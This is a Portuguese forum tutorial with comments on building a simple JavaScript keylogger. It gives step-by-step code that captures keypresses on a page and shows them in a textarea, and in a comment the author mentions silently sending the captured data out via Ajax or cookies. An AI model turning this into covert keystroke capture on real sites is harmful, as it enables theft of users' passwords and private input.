[Javascript] Criando um keylogger em Javascript

Olá, novamente venho trazer-lhes um tutorial sobre Javascript, hoje vamos aprender a fazer um simples keylogger com Javascript não é possível fazer muita coisa com ele sem experiência com Javascript, mas conhecimento sempre é bom...

"Conhecimento não é crime!! O que você faz com ele, pode virar um!!"

Nosso objetivo aqui é capturar o evento quando o usuário pressionar alguma tecla e então salvar as informações referentes em algum local.

A primeira coisa a se fazer é criar um array vazio onde vamos salvar essas teclas posteriormente:

Código:

window.addEventListener('DOMContentLoaded', function(){
    var keystrokes = [];
});

Agora o que faremos, é criar uma função para capturar o evento e então salva a respectiva tecla dentro do nosso array

Código:

window.addEventListener('DOMContentLoaded', function(){
    var keystrokes = [];
    document.addEventListener('keypress', function(){
        keystrokes.push(String.fromCharCode(window.event.keyCode));
    })
});

E agora vamos finalizar pegando o valor e salvando em algum lugar.. No meu caso vou adicionar a um textarea quando clicarmos em um botão, vou deixar o código completo para vocês no final...

Código:

window.addEventListener('DOMContentLoaded', function(){
    var keystrokes = [];
    document.addEventListener('keypress', function(){
        keystrokes.push(String.fromCharCode(window.event.keyCode));
    });
    document.getElementById('key').addEventListener('click', function(){
        var keylogger = document.getElementById('keylogger');
        keylogger.value = keylogger.value + keystrokes.join(" ");
        keystrokes = [];
    });
});

Vamos testar? Crie um novo documento com o nome keylogger.html e salve o seguinte conteúdo nele:

Código:

<h1>Keylogger</h1>
<textarea id="keylogger" style="width:600px;min-height:200px"></textarea>
<button id="key">Carregar keys</button>

<script>
window.addEventListener('DOMContentLoaded', function(){
    var keystrokes = [];
    document.addEventListener('keypress', function(){
        keystrokes.push(String.fromCharCode(window.event.keyCode));
    });
    document.getElementById('key').addEventListener('click', function(){
        var keylogger = document.getElementById('keylogger');
        keylogger.value = keylogger.value + keystrokes.join(" ");
        keystrokes = [];
    });
});
</script>

Agora abra no seu navegador e digite alguma frase (não no textarea, em qualquer lugar fora dele mesmo), em seguida clique no botão carregar keys e veja o resultado..

No meu caso consegui isso:

s e u   p r i m e i r o   k e y l o g g e r   e m   j a v a s c r i p t

Isso é só um exemplo básico... Mas ja é uma "luz" para todos...

Show de bola né?

Abraços, e até uma próxima...

Isso é assim que se começa a saber os dados dos utilizadores, fico espantado em como simples códigos JS permitem estas coisas. Mas para quem não sabe o que é isso de "clique no botão carregar keys"?
Acho estes tutoriais muitos interessastes porém na minha opinião facilitava mais com algumas imagens, visto que nem todos têm a capacidade de chegar a certos passos para fazer o teste

Muito bom tutorial... Isto cheira-me a NSA!! Continua.

@Helix,

Na verdade ai foi apenas um simples exemplo de como fazer... Em geral não se adiciona um botão clique no botão carregar keys e sim se faz uma ação automática como enviar os dados via Ajax ou mesmo salvar como storage ou cookies e enviar tudo de uma vez a cada tempo que o programador determinar...

Mas vou tentar ser mais claro nas próximas vezes

Abraços...